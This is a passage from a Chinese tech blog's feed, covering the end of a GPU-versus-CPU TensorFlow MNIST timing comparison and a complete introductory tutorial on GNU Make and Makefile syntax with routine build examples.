0.7890625, 10, 649750) <br> (5, 0.84375, 12, 547186) <br> (6, 0.83203125, 14, 657817) <br> (7, 0.8671875, 16, 743615) <br> (8, 0.87109375, 18, 737803) <br> …… <br> …… <br> (99, 0.96875, 202, 633241) <br> <strong>平均：2.02s/轮</strong></td><td style="text-align:left">(0, 0.2265625, 10, 367446) <br> (1, 0.3984375, 20, 716101) <br> (2, 0.61328125, 31, 403893) <br> (3, 0.734375, 42, 7851) <br> (4, 0.75, 52, 698565) <br> (5, 0.78515625, 63, 61517) <br> (6, 0.84765625, 73, 529780) <br> (7, 0.84765625, 84, 130221) <br> (8, 0.8828125, 94, 898270) <br> (9, 0.90234375, 105, 455608) <br> …… <br> (99, 0.98046875, 995, 356187) <br> <strong>平均：9.95s/轮</strong></td></tr></tbody></table><p><strong>GPU运行结果：</strong></p><p><img src="lstm_gpu_1.png" alt=""></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div></pre></td><td class="code"><pre><div class="line">zhwhong@news-ai:~/MNIST_test$ nvidia-smi</div><div class="line">Mon Mar 13 16:05:19 2017       </div><div class="line">+-----------------------------------------------------------------------------+</div><div class="line">| NVIDIA-SMI 367.48                 Driver Version: 367.48                    |</div><div class="line">|-------------------------------+----------------------+----------------------+</div><div class="line">| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |</div><div class="line">| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |</div><div class="line">|===============================+======================+======================|</div><div class="line">|   0  GeForce GTX TIT...  Off  | 0000:01:00.0     Off |                  N/A |</div><div class="line">| 22%   61C    P2    90W / 250W |    185MiB / 12206MiB |     40%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   1  GeForce GTX TIT...  Off  | 0000:02:00.0     Off |                  N/A |</div><div class="line">| 22%   55C    P5    20W / 250W |    109MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   2  GeForce GTX TIT...  Off  | 0000:82:00.0     Off |                  N/A |</div><div class="line">| 22%   55C    P5    56W / 250W |    109MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line">|   3  GeForce GTX TIT...  Off  | 0000:83:00.0     Off |                  N/A |</div><div class="line">| 22%   54C    P5    21W / 250W |    109MiB / 12206MiB |      0%      Default |</div><div class="line">+-------------------------------+----------------------+----------------------+</div><div class="line"></div><div class="line">+-----------------------------------------------------------------------------+</div><div class="line">| Processes:                                                       GPU Memory |</div><div class="line">|  GPU       PID  Type  Process name                               Usage      |</div><div class="line">|=============================================================================|</div><div class="line">|    0     17988    C   python                                         183MiB |</div><div class="line">|    1     17988    C   python                                         107MiB |</div><div class="line">|    2     17988    C   python                                         107MiB |</div><div class="line">|    3     17988    C   python                                         107MiB |</div><div class="line">+-----------------------------------------------------------------------------+</div></pre></td></tr></table></figure><p><img src="lstm_gpu_2.png" alt=""></p><p><strong>CPU运行结果：</strong></p><p><img src="lstm_cpu_1.png" alt=""></p><p><img src="lstm_cpu_2.png" alt=""></p><hr><p>注：关于训练中每个epoch时间统计，可以使用python <code>datetime</code> 模块，使用<code>datetime.datetime.now()</code> 获取系统时间。</p>]]></content>
    
    <summary type="html">
    
      本文主要通过tensorflow环境测试mnist手写数字集，来衡量GPU服务器与CPU服务器跑深度学习网络时的差异，了解不同网络模型，不同batch数对GPU和CPU占用率的影响，以及当GPU服务器跑满时顶的上多少台CPU服务器等。
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="Deep Learning" scheme="http://zhwhong.cn/tags/Deep-Learning/"/>
    
      <category term="TensorFlow" scheme="http://zhwhong.cn/tags/TensorFlow/"/>
    
      <category term="GPU" scheme="http://zhwhong.cn/tags/GPU/"/>
    
  </entry>
  
  <entry>
    <title>GNU MAKE命令</title>
    <link href="http://zhwhong.cn/2017/03/11/GNU-make/"/>
    <id>http://zhwhong.cn/2017/03/11/GNU-make/</id>
    <published>2017-03-10T17:07:07.000Z</published>
    <updated>2017-03-27T13:23:04.918Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><p>代码变成可执行文件，叫做<a href="http://www.ruanyifeng.com/blog/2014/11/compiler.html" target="_blank" rel="external">编译</a>（compile）；先编译这个，还是先编译那个（即编译的安排），叫做<a href="https://en.wikipedia.org/wiki/Software_build" target="_blank" rel="external">构建</a>（build）。</p><p><a href="https://en.wikipedia.org/wiki/Make_%28software%29" target="_blank" rel="external">Make</a>是最常用的构建工具，诞生于1977年，主要用于C语言的项目。但是实际上 ，任何只要某个文件有变化，就要重新构建的项目，都可以用Make构建。</p><a id="more"></a><p>本文介绍Make命令的用法，从简单的讲起，不需要任何基础，只要会使用命令行，就能看懂。我的参考资料主要是Isaac Schlueter的<a href="https://gist.github.com/isaacs/62a2d1825d04437c6f08" target="_blank" rel="external">《Makefile文件教程》</a>和<a href="https://www.gnu.org/software/make/manual/make.html" target="_blank" rel="external">《GNU Make手册》</a>。</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-176a6bf4d5dca196.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>（题图：摄于博兹贾阿达岛，土耳其，2013年7月）</p><h2 id="一、Make的概念"><a href="#一、Make的概念" class="headerlink" title="一、Make的概念"></a>一、Make的概念</h2><p>Make这个词，英语的意思是”制作”。Make命令直接用了这个意思，就是要做出某个文件。比如，要做出文件a.txt，就可以执行下面的命令。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ make a.txt</div></pre></td></tr></table></figure><p>但是，如果你真的输入这条命令，它并不会起作用。因为Make命令本身并不知道，如何做出a.txt，需要有人告诉它，如何调用其他命令完成这个目标。</p><p>比如，假设文件 a.txt 依赖于 b.txt 和 c.txt ，是后面两个文件连接（cat命令）的产物。那么，make 需要知道下面的规则。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">a.txt: b.txt c.txt</div><div class="line">    cat b.txt c.txt &gt; a.txt</div></pre></td></tr></table></figure><p>也就是说，make a.txt 这条命令的背后，实际上分成两步：第一步，确认 b.txt 和 c.txt 必须已经存在，第二步使用 cat 命令 将这个两个文件合并，输出为新文件。</p><p>像这样的规则，都写在一个叫做Makefile的文件中，Make命令依赖这个文件进行构建。Makefile文件也可以写为makefile， 或者用命令行参数指定为其他文件名。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$ make -f rules.txt</div><div class="line"># 或者</div><div class="line">$ make --file=rules.txt</div></pre></td></tr></table></figure><p>上面代码指定make命令依据rules.txt文件中的规则，进行构建。</p><p>总之，make只是一个根据指定的Shell命令进行构建的工具。它的规则很简单，你规定要构建哪个文件、它依赖哪些源文件，当那些文件有变动时，如何重新构建它。</p><h2 id="二、Makefile文件的格式"><a href="#二、Makefile文件的格式" class="headerlink" title="二、Makefile文件的格式"></a>二、Makefile文件的格式</h2><p>构建规则都写在Makefile文件里面，要学会如何Make命令，就必须学会如何编写Makefile文件。</p><h3 id="2-1-概述"><a href="#2-1-概述" class="headerlink" title="2.1 概述"></a>2.1 概述</h3><p>Makefile文件由一系列规则（rules）构成。每条规则的形式如下。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">&lt;target&gt; : &lt;prerequisites&gt;</div><div class="line">[tab]  &lt;commands&gt;</div></pre></td></tr></table></figure><p>上面第一行冒号前面的部分，叫做”目标”（target），冒号后面的部分叫做”前置条件”（prerequisites）；第二行必须由一个tab键起首，后面跟着”命令”（commands）。</p><p>“目标”是必需的，不可省略；”前置条件”和”命令”都是可选的，但是两者之中必须至少存在一个。</p><p>每条规则就明确两件事：构建目标的前置条件是什么，以及如何构建。下面就详细讲解，每条规则的这三个组成部分。</p><h3 id="2-2-目标（target）"><a href="#2-2-目标（target）" class="headerlink" title="2.2 目标（target）"></a>2.2 目标（target）</h3><p>一个目标（target）就构成一条规则。目标通常是文件名，指明Make命令所要构建的对象，比如上文的 a.txt 。目标可以是一个文件名，也可以是多个文件名，之间用空格分隔。</p><p>除了文件名，目标还可以是某个操作的名字，这称为”伪目标”（phony target）。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">clean:</div><div class="line">      rm *.o</div></pre></td></tr></table></figure><p>上面代码的目标是clean，它不是文件名，而是一个操作的名字，属于”伪目标 “，作用是删除对象文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ make  clean</div></pre></td></tr></table></figure><p>但是，如果当前目录中，正好有一个文件叫做clean，那么这个命令不会执行。因为Make发现clean文件已经存在，就认为没有必要重新构建了，就不会执行指定的rm命令。</p><p>为了避免这种情况，可以明确声明clean是”伪目标”，写法如下。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">.PHONY: clean</div><div class="line">clean:</div><div class="line">        rm *.o temp</div></pre></td></tr></table></figure><p>声明clean是”伪目标”之后，make就不会去检查是否存在一个叫做clean的文件，而是每次运行都执行对应的命令。像.PHONY这样的内置目标名还有不少，可以查看手册。</p><p>如果Make命令运行时没有指定目标，默认会执行Makefile文件的第一个目标。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ make</div></pre></td></tr></table></figure><p>上面代码执行Makefile文件的第一个目标。</p><h3 id="2-3-前置条件（prerequisites）"><a href="#2-3-前置条件（prerequisites）" class="headerlink" title="2.3 前置条件（prerequisites）"></a>2.3 前置条件（prerequisites）</h3><p>前置条件通常是一组文件名，之间用空格分隔。它指定了”目标”是否重新构建的判断标准：只要有一个前置文件不存在，或者有过更新（前置文件的last-modification时间戳比目标的时间戳新），”目标”就需要重新构建。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">result.txt: source.txt</div><div class="line">    cp source.txt result.txt</div></pre></td></tr></table></figure><p>上面代码中，构建 result.txt 的前置条件是 source.txt 。如果当前目录中，source.txt 已经存在，那么make result.txt可以正常运行，否则必须再写一条规则，来生成 source.txt 。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">source.txt:</div><div class="line">    echo &quot;this is the source&quot; &gt; source.txt</div></pre></td></tr></table></figure><p>上面代码中，source.txt后面没有前置条件，就意味着它跟其他文件都无关，只要这个文件还不存在，每次调用make source.txt，它都会生成。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ make result.txt</div><div class="line">$ make result.txt</div></pre></td></tr></table></figure><p>上面命令连续执行两次make result.txt。第一次执行会先新建 source.txt，然后再新建 result.txt。第二次执行，Make发现 source.txt 没有变动（时间戳晚于 result.txt），就不会执行任何操作，result.txt 也不会重新生成。</p><p>如果需要生成多个文件，往往采用下面的写法。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">source: file1 file2 file3</div></pre></td></tr></table></figure><p>上面代码中，source 是一个伪目标，只有三个前置文件，没有任何对应的命令。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ make source</div></pre></td></tr></table></figure><p>执行make source命令后，就会一次性生成 file1，file2，file3 三个文件。这比下面的写法要方便很多。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$ make file1</div><div class="line">$ make file2</div><div class="line">$ make file3</div></pre></td></tr></table></figure><h3 id="2-4-命令（commands）"><a href="#2-4-命令（commands）" class="headerlink" title="2.4 命令（commands）"></a>2.4 命令（commands）</h3><p>命令（commands）表示如何更新目标文件，由一行或多行的Shell命令组成。它是构建”目标”的具体指令，它的运行结果通常就是生成目标文件。</p><p>每行命令之前必须有一个tab键。如果想用其他键，可以用内置变量.RECIPEPREFIX声明。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">.RECIPEPREFIX = &gt;</div><div class="line">all:</div><div class="line">&gt; echo Hello, world</div></pre></td></tr></table></figure><p>上面代码用.RECIPEPREFIX指定，大于号（&gt;）替代tab键。所以，每一行命令的起首变成了大于号，而不是tab键。</p><p>需要注意的是，每行命令在一个单独的shell中执行。这些Shell之间没有继承关系。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">var-lost:</div><div class="line">    export foo=bar</div><div class="line">    echo &quot;foo=[$$foo]&quot;</div></pre></td></tr></table></figure><p>上面代码执行后（make var-lost），取不到foo的值。因为两行命令在两个不同的进程执行。一个解决办法是将两行命令写在一行，中间用分号分隔。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">var-kept:</div><div class="line">    export foo=bar; echo &quot;foo=[$$foo]&quot;</div></pre></td></tr></table></figure><p>另一个解决办法是在换行符前加反斜杠转义。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">var-kept:</div><div class="line">    export foo=bar; \</div><div class="line">    echo &quot;foo=[$$foo]&quot;</div></pre></td></tr></table></figure><p>最后一个方法是加上.ONESHELL:命令。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">.ONESHELL:</div><div class="line">var-kept:</div><div class="line">    export foo=bar;</div><div class="line">    echo &quot;foo=[$$foo]&quot;</div></pre></td></tr></table></figure><h2 id="三、Makefile文件的语法"><a href="#三、Makefile文件的语法" class="headerlink" title="三、Makefile文件的语法"></a>三、Makefile文件的语法</h2><h3 id="3-1-注释"><a href="#3-1-注释" class="headerlink" title="3.1 注释"></a>3.1 注释</h3><p>井号（#）在Makefile中表示注释。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"># 这是注释</div><div class="line">result.txt: source.txt</div><div class="line">    # 这是注释</div><div class="line">    cp source.txt result.txt # 这也是注释</div></pre></td></tr></table></figure><h3 id="3-2-回声（echoing）"><a href="#3-2-回声（echoing）" class="headerlink" title="3.2 回声（echoing）"></a>3.2 回声（echoing）</h3><p>正常情况下，make会打印每条命令，然后再执行，这就叫做回声（echoing）。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">test:</div><div class="line">    # 这是测试</div></pre></td></tr></table></figure><p>执行上面的规则，会得到下面的结果。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ make test</div><div class="line"># 这是测试</div></pre></td></tr></table></figure><p>在命令的前面加上@，就可以关闭回声。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">test:</div><div class="line">    @# 这是测试</div></pre></td></tr></table></figure><p>现在再执行make test，就不会有任何输出。</p><p>由于在构建过程中，需要了解当前在执行哪条命令，所以通常只在注释和纯显示的echo命令前面加上@。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">test:</div><div class="line">    @# 这是测试</div><div class="line">    @echo TODO</div></pre></td></tr></table></figure><h3 id="3-3-通配符"><a href="#3-3-通配符" class="headerlink" title="3.3 通配符"></a>3.3 通配符</h3><p>通配符（wildcard）用来指定一组符合条件的文件名。Makefile 的通配符与 Bash 一致，主要有星号（*）、问号（？）和 […] 。比如， *.o 表示所有后缀名为o的文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">clean:</div><div class="line">        rm -f *.o</div></pre></td></tr></table></figure><h3 id="3-4-模式匹配"><a href="#3-4-模式匹配" class="headerlink" title="3.4 模式匹配"></a>3.4 模式匹配</h3><p>Make命令允许对文件名，进行类似正则运算的匹配，主要用到的匹配符是%。比如，假定当前目录下有 f1.c 和 f2.c 两个源码文件，需要将它们编译为对应的对象文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">%.o: %.c</div></pre></td></tr></table></figure><p>等同于下面的写法。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">f1.o: f1.c</div><div class="line">f2.o: f2.c</div></pre></td></tr></table></figure><p>使用匹配符%，可以将大量同类型的文件，只用一条规则就完成构建。</p><h3 id="3-5-变量和赋值符"><a href="#3-5-变量和赋值符" class="headerlink" title="3.5 变量和赋值符"></a>3.5 变量和赋值符</h3><p>Makefile 允许使用等号自定义变量。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">txt = Hello World</div><div class="line">test:</div><div class="line">    @echo $(txt)</div></pre></td></tr></table></figure><p>上面代码中，变量 txt 等于 Hello World。调用时，变量需要放在 $( ) 之中。</p><p>调用Shell变量，需要在美元符号前，再加一个美元符号，这是因为Make命令会对美元符号转义。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">test:</div><div class="line">    @echo $$HOME</div></pre></td></tr></table></figure><p>有时，变量的值可能指向另一个变量。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">v1 = $(v2)</div></pre></td></tr></table></figure><p>上面代码中，变量 v1 的值是另一个变量 v2。这时会产生一个问题，v1 的值到底在定义时扩展（静态扩展），还是在运行时扩展（动态扩展）？如果 v2 的值是动态的，这两种扩展方式的结果可能会差异很大。</p><p>为了解决类似问题，Makefile一共提供了四个赋值运算符 （=、:=、？=、+=），它们的区别请看StackOverflow。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">VARIABLE = value</div><div class="line"># 在执行时扩展，允许递归扩展。</div><div class="line">VARIABLE := value</div><div class="line"># 在定义时扩展。</div><div class="line">VARIABLE ?= value</div><div class="line"># 只有在该变量为空时才设置值。</div><div class="line">VARIABLE += value</div><div class="line"># 将值追加到变量的尾端。</div></pre></td></tr></table></figure><h3 id="3-6-内置变量（Implicit-Variables）"><a href="#3-6-内置变量（Implicit-Variables）" class="headerlink" title="3.6 内置变量（Implicit Variables）"></a>3.6 内置变量（Implicit Variables）</h3><p>Make命令提供一系列内置变量，比如，$(CC) 指向当前使用的编译器，$(MAKE) 指向当前使用的Make工具。这主要是为了跨平台的兼容性，详细的内置变量清单见手册。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">output:</div><div class="line">    $(CC) -o output input.c</div></pre></td></tr></table></figure><h3 id="3-7-自动变量（Automatic-Variables）"><a href="#3-7-自动变量（Automatic-Variables）" class="headerlink" title="3.7 自动变量（Automatic Variables）"></a>3.7 自动变量（Automatic Variables）</h3><p>Make命令还提供一些自动变量，它们的值与当前规则有关。主要有以下几个。</p><p><em>（1）$@</em></p><pre><code>$@指代当前目标，就是Make命令当前构建的那个目标。比如，make foo的 $@ 就指代foo。</code></pre><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">a.txt b.txt:</div><div class="line">    touch $@</div></pre></td></tr></table></figure><p>等同于下面的写法。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">a.txt:</div><div class="line">    touch a.txt</div><div class="line">b.txt:</div><div class="line">    touch b.txt</div></pre></td></tr></table></figure><p><em>（2）$&lt;</em></p><p>$&lt; 指代第一个前置条件。比如，规则为 t: p1 p2，那么$&lt; 就指代p1。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">a.txt: b.txt c.txt</div><div class="line">    cp $&lt; $@</div></pre></td></tr></table></figure><p>等同于下面的写法。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">a.txt: b.txt c.txt</div><div class="line">    cp b.txt a.txt</div></pre></td></tr></table></figure><p><em>（3）$?</em></p><pre><code>$? 指代比目标更新的所有前置条件，之间以空格分隔。比如，规则为 t: p1 p2，其中 p2 的时间戳比 t 新，$?就指代p2。</code></pre><p><em>（4）$^</em></p><pre><code>$^ 指代所有前置条件，之间以空格分隔。比如，规则为 t: p1 p2，那么 $^ 就指代 p1 p2 。</code></pre><p><em>（5）$*</em></p><pre><code>$* 指代匹配符 % 匹配的部分， 比如% 匹配 f1.txt 中的f1 ，$* 就表示 f1。</code></pre><p><em>（6）$(@D) 和 $(@F)</em></p><pre><code>$(@D) 和 $(@F) 分别指向 $@ 的目录名和文件名。比如，$@是 src/input.c，那么$(@D) 的值为 src ，$(@F) 的值为 input.c。</code></pre><p><em>（7）$(&lt;D)和 $(&lt;F)</em></p><pre><code>$(&lt;D) 和 $(&lt;F) 分别指向 $&lt; 的目录名和文件名。</code></pre><p>所有的自动变量清单，请看手册。下面是自动变量的一个例子。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">dest/%.txt: src/%.txt</div><div class="line">    @[ -d dest ] || mkdir dest</div><div class="line">    cp $&lt; $@</div></pre></td></tr></table></figure><p>上面代码将 src 目录下的 txt 文件，拷贝到 dest 目录下。首先判断 dest 目录是否存在，如果不存在就新建，然后，$&lt; 指代前置文件（src/%.txt）， $@ 指代目标文件（dest/%.txt）。</p><h3 id="3-8-判断和循环"><a href="#3-8-判断和循环" class="headerlink" title="3.8 判断和循环"></a>3.8 判断和循环</h3><p>Makefile使用 Bash 语法，完成判断和循环。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">ifeq ($(CC),gcc)</div><div class="line">  libs=$(libs_for_gcc)</div><div class="line">else</div><div class="line">  libs=$(normal_libs)</div><div class="line">endif</div></pre></td></tr></table></figure><p>上面代码判断当前编译器是否 gcc ，然后指定不同的库文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">LIST = one two three</div><div class="line">all:</div><div class="line">    for i in $(LIST); do \</div><div class="line">        echo $$i; \</div><div class="line">    done</div><div class="line"># 等同于</div><div class="line">all:</div><div class="line">    for i in one two three; do \</div><div class="line">        echo $i; \</div><div class="line">    done</div></pre></td></tr></table></figure><p>上面代码的运行结果。</p><blockquote><p>one<br>two<br>three</p></blockquote><h3 id="3-9-函数"><a href="#3-9-函数" class="headerlink" title="3.9 函数"></a>3.9 函数</h3><p>Makefile 还可以使用函数，格式如下。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">$(function arguments)</div><div class="line"># 或者</div><div class="line">$&#123;function arguments&#125;</div></pre></td></tr></table></figure><p>Makefile提供了许多<a href="http://www.gnu.org/software/make/manual/html_node/Functions.html" target="_blank" rel="external">内置函数</a>，可供调用。下面是几个常用的内置函数。</p><p>（1）shell 函数</p><p>shell 函数用来执行 shell 命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">srcfiles := $(shell echo src/&#123;00..99&#125;.txt)</div></pre></td></tr></table></figure><p>（2）wildcard 函数</p><p>wildcard 函数用来在 Makefile 中，替换 Bash 的通配符。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">srcfiles := $(wildcard src/*.txt)</div></pre></td></tr></table></figure><p>（3）替换函数</p><p>替换函数的写法是：变量名 + 冒号 + 替换规则。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">min: $(OUTPUT:.js=.min.js)</div></pre></td></tr></table></figure><p>上面代码的意思是，将变量OUTPUT中的 .js 全部替换成 .min.js 。</p><h2 id="四、Makefile-的实例"><a href="#四、Makefile-的实例" class="headerlink" title="四、Makefile 的实例"></a>四、Makefile 的实例</h2><h3 id="（1）执行多个目标"><a href="#（1）执行多个目标" class="headerlink" title="（1）执行多个目标"></a>（1）执行多个目标</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">.PHONY: cleanall cleanobj cleandiff</div><div class="line">cleanall : cleanobj cleandiff</div><div class="line">        rm program</div><div class="line">cleanobj :</div><div class="line">        rm *.o</div><div class="line">cleandiff :</div><div class="line">        rm *.diff</div></pre></td></tr></table></figure><p>上面代码可以调用不同目标，删除不同后缀名的文件，也可以调用一个目标（cleanall），删除所有指定类型的文件。</p><h3 id="（2）编译C语言项目"><a href="#（2）编译C语言项目" class="headerlink" title="（2）编译C语言项目"></a>（2）编译C语言项目</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">edit : main.o kbd.o command.o display.o</div><div class="line">    cc -o edit main.o kbd.o command.o display.o</div><div class="line">main.o : main.c defs.h</div><div class="line">    cc -c main.c</div><div class="line">kbd.o : kbd.c defs.h command.h</div><div class="line">    cc -c kbd.c</div><div class="line">command.o : command.c defs.h command.h</div><div class="line">    cc -c command.c</div><div class="line">display.o : display.c defs.h</div><div class="line">    cc -c display.c</div><div class="line">clean :</div><div class="line">     rm edit main.o kbd.o command.o display.o</div><div class="line">.PHONY: edit clean</div></pre></td></tr></table></figure><p>今天，Make命令的介绍就到这里。</p><hr><ul><li>参考：<a href="http://www.ruanyifeng.com/blog/2015/02/make.html" target="_blank" rel="external">阮一峰] - MAKE命令教程</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;代码变成可执行文件，叫做&lt;a href=&quot;http://www.ruanyifeng.com/blog/2014/11/compiler.html&quot;&gt;编译&lt;/a&gt;（compile）；先编译这个，还是先编译那个（即编译的安排），叫做&lt;a href=&quot;https://en.wikipedia.org/wiki/Software_build&quot;&gt;构建&lt;/a&gt;（build）。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Make_%28software%29&quot;&gt;Make&lt;/a&gt;是最常用的构建工具，诞生于1977年，主要用于C语言的项目。但是实际上 ，任何只要某个文件有变化，就要重新构建的项目，都可以用Make构建。&lt;/p&gt;
    
    </summary>
    
      <category term="Linux" scheme="http://zhwhong.cn/categories/Linux/"/>
    
    
      <category term="GNU" scheme="http://zhwhong.cn/tags/GNU/"/>
    
      <category term="Makefile" scheme="http://zhwhong.cn/tags/Makefile/"/>
    
  </entry>
  
  <entry>
    <title>Blog Music Test</title>
    <link href="http://zhwhong.cn/2017/02/26/music-test/"/>
    <id>http://zhwhong.cn/2017/02/26/music-test/</id>
    <published>2017-02-26T08:56:23.000Z</published>
    <updated>2017-03-25T07:26:12.746Z</updated>
    
